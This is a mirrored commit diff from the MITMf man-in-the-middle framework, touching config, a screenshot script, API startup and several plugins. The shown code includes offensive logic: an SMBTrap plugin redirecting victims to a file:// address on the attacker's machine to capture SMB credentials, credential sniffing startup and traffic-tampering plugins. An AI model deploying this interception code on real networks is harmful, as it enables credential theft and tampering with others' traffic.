mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-19 21:13:26 -07:00
fixed scrolling issue in screenshotter.js, removed some useless output in mitmflib
This commit is contained in:
parent
1b204e84b8
commit
f125b86aa0
8 changed files with 23 additions and 30 deletions
|
@ -21,8 +21,8 @@
|
|||
|
||||
[[MITMf-API]]
|
||||
|
||||
host = '127.0.0.1'
|
||||
port = '9090'
|
||||
host = 127.0.0.1
|
||||
port = 9090
|
||||
|
||||
[[SMB]]
|
||||
|
||||
|
@ -77,9 +77,8 @@
|
|||
# Here you can define the content to deliver
|
||||
#
|
||||
|
||||
# Format is urlpath = filesystem path (urlpath can be a regular expression)
|
||||
# Format is urlpath = filesystem path
|
||||
|
||||
".*" = "/var/www"
|
||||
"/test" = "/var/www2"
|
||||
|
||||
[[DNS]]
|
||||
|
|
|
@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) {
|
|||
};
|
||||
}
|
||||
_html2canvas.Parse = function (images, options) {
|
||||
window.scroll(0,0);
|
||||
//window.scroll(0,0);
|
||||
|
||||
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
|
||||
numDraws = 0,
|
||||
|
|
|
@ -36,9 +36,6 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
|||
|
||||
app = Flask(__name__)
|
||||
|
||||
#log = logging.getLogger('werkzeug')
|
||||
#log.setLevel(logging.DEBUG)
|
||||
|
||||
class mitmfapi:
|
||||
|
||||
_instance = None
|
||||
|
@ -98,7 +95,7 @@ class mitmfapi:
|
|||
return json.dumps({"plugin": plugin, "response": "failed"})
|
||||
|
||||
def startFlask(self):
|
||||
app.run(host=self.host, port=self.port)
|
||||
app.run(debug=False, host=self.host, port=self.port)
|
||||
|
||||
#def start(self):
|
||||
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)
|
||||
|
|
|
@ -19,7 +19,6 @@
|
|||
#
|
||||
|
||||
import logging
|
||||
import sys
|
||||
import threading
|
||||
|
||||
from core.configwatcher import ConfigWatcher
|
||||
|
@ -39,7 +38,7 @@ class HTTPserver:
|
|||
return HTTPserver._instance
|
||||
|
||||
def startFlask(self):
|
||||
self.server.run(host='0.0.0.0', port=self.port)
|
||||
self.server.run(debug=False, host='0.0.0.0', port=self.port)
|
||||
|
||||
def start(self):
|
||||
server_thread = threading.Thread(name='HTTPserver', target=self.startFlask)
|
||||
|
|
13
mitmf.py
13
mitmf.py
|
@ -169,11 +169,6 @@ print "|"
|
|||
print "|_ Sergio-Proxy v{} online".format(sergio_version)
|
||||
print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)
|
||||
|
||||
#Start MITMf-API
|
||||
from core.mitmfapi import mitmfapi
|
||||
mitmfapi().start()
|
||||
print "|_ MITMf-API running on http://{}:{}/".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port)
|
||||
|
||||
#Start Net-Creds
|
||||
from core.netcreds.NetCreds import NetCreds
|
||||
NetCreds().start(args.interface, myip)
|
||||
|
@ -191,9 +186,15 @@ print "|_ HTTP server online"
|
|||
|
||||
#Start the SMB server
|
||||
from core.servers.smb.SMBserver import SMBserver
|
||||
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
||||
print "|_ SMB server online [Mode: {}] (Impacket {})".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
||||
SMBserver.getInstance().start()
|
||||
|
||||
#Start MITMf-API
|
||||
from core.mitmfapi import mitmfapi
|
||||
mitmfapi().start()
|
||||
print "|"
|
||||
print "|_ MITMf-API running on http://{}:{}\n".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port)
|
||||
|
||||
#start the reactor
|
||||
reactor.run()
|
||||
|
||||
|
|
|
@ -45,8 +45,7 @@ class CacheKill(Plugin):
|
|||
|
||||
def clientRequest(self, request):
|
||||
'''Handles outgoing request'''
|
||||
if self.getStatus():
|
||||
request.headers['pragma'] = 'no-cache'
|
||||
for header in self.bad_headers:
|
||||
if header in request.headers:
|
||||
del request.headers[header]
|
||||
request.headers['pragma'] = 'no-cache'
|
||||
for header in self.bad_headers:
|
||||
if header in request.headers:
|
||||
del request.headers[header]
|
|
@ -26,6 +26,5 @@ class SMBTrap(Plugin):
|
|||
return {"request": request, "version": version, "code": 302, "message": "Found"}
|
||||
|
||||
def serverHeaders(self, response, request):
|
||||
if self.getStatus():
|
||||
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
|
||||
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
|
||||
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
|
||||
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
|
||||
|
|
|
@ -45,11 +45,10 @@ class Upsidedownternet(Plugin):
|
|||
|
||||
def serverHeaders(self, response, request):
|
||||
'''Kill the image skipping that's in place for speed reasons'''
|
||||
if self.getStatus():
|
||||
if request.isImageRequest:
|
||||
request.isImageRequest = False
|
||||
request.isImage = True
|
||||
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
||||
if request.isImageRequest:
|
||||
request.isImageRequest = False
|
||||
request.isImage = True
|
||||
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
||||
|
||||
def serverResponse(self, response, request, data):
|
||||
try:
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue